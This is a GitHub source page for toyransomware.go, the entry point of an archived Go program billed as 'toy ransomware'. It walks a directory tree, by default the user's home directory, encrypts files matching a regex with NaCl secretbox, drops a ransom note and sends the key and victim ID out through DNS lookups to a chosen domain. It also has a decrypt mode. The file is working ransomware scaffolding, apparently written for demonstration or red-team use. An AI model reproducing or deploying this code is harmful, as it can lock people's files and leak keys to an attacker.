This repository has been archived by the owner on Apr 7, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathtoyransomware.go
157 lines (143 loc) · 3.06 KB
/
toyransomware.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
// Program toyramsomware is toy ransomware
package main
/*
* toyramsomware.go
* Toy Ransomware
* By J. Stuart McMurray
* Created 20300409
* Last Modified 20300413
*/
import (
"flag"
"fmt"
"log"
"os"
"os/user"
"path/filepath"
"regexp"
"time"
"golang.org/x/crypto/nacl/secretbox"
)
func main() {
var (
decryptKey = flag.String(
"decrypt",
"",
"Decryption `key`",
)
encSuffix = flag.String(
"encryption-suffix",
"etrbak",
"Backup `suffix` to use when encrypting files",
)
ransomNoteName = flag.String(
"note",
"ransomware.txt",
"Ransom note `name`",
)
fileRE = flag.String(
"regex",
"",
"Regular `expression` used to select files to encrypt",
)
chunkLen = flag.Uint(
"chunk",
1024,
"Encrypted chunk `size`",
)
domain = flag.String(
"domain",
"example.com",
"DNS `domain` to which to send key and ID",
)
root = flag.String(
"root",
currentHomeDir(),
"Root of `directory` tree or single file to encrypt "+
"or decrypt",
)
)
flag.Usage = func() {
fmt.Fprintf(
os.Stderr,
`Usage: %s [options]
Toy ransomware. Encrypts files. A backup of the file is made and the key and
ID are sent back to via DNS as key.id.domain.
With -decrypt decrypts files. Uses the same key.id as sent in the DNS message.
Options:
`,
os.Args[0],
)
flag.PrintDefaults()
}
flag.Parse()
start := time.Now()
/* Get the regex to use to select files */
var (
err error
re *regexp.Regexp
)
if "" != *fileRE {
if re, err = regexp.Compile(
*fileRE,
); nil != err {
log.Fatalf(
"Error compiling regex %q: %v",
*fileRE,
err,
)
}
}
/* Work out whether we're encrypting or decrypting */
var wf filepath.WalkFunc
if "" != *decryptKey {
wf = Decrypter{
Key: KeyFromString(*decryptKey),
ChunkLen: int(*chunkLen),
Buffer: make(
[]byte,
*chunkLen+24+secretbox.Overhead,
),
}.Decrypt
} else {
var ID string
e := Encrypter{
RansomNoteName: *ransomNoteName,
BackupSuffix: *encSuffix,
Out: []byte{},
Message: make([]byte, int(*chunkLen)),
FileRE: re,
}
/* Come up with the key and ID */
if ID, e.Key = GenerateKeyAndID(*domain); nil != err {
log.Fatalf("Error generating key and ID: %v", err)
}
/* Fill in the note template */
FilledNoteTemplate = []byte(fmt.Sprintf(NoteTemplate, ID))
/* Use this on the files */
wf = e.Encrypt
}
/* Walk the file tree and encrypt or decrypt files */
if err := filepath.Walk(*root, wf); nil != err {
log.Fatalf(
"Error after %v: %v",
time.Since(start).Round(time.Millisecond),
err,
)
}
log.Printf("Done in %v", time.Since(start).Round(time.Millisecond))
}
/* currentHomeDir tries to return the current home directory. If it can't be
found it returns the current working directory. */
func currentHomeDir() string {
cu, err := user.Current()
if nil != err {
log.Printf("Error getting current user: %v", err)
return "."
}
if "" == cu.HomeDir {
log.Printf("Unable to find current user's home directory")
return "."
}
return cu.HomeDir
}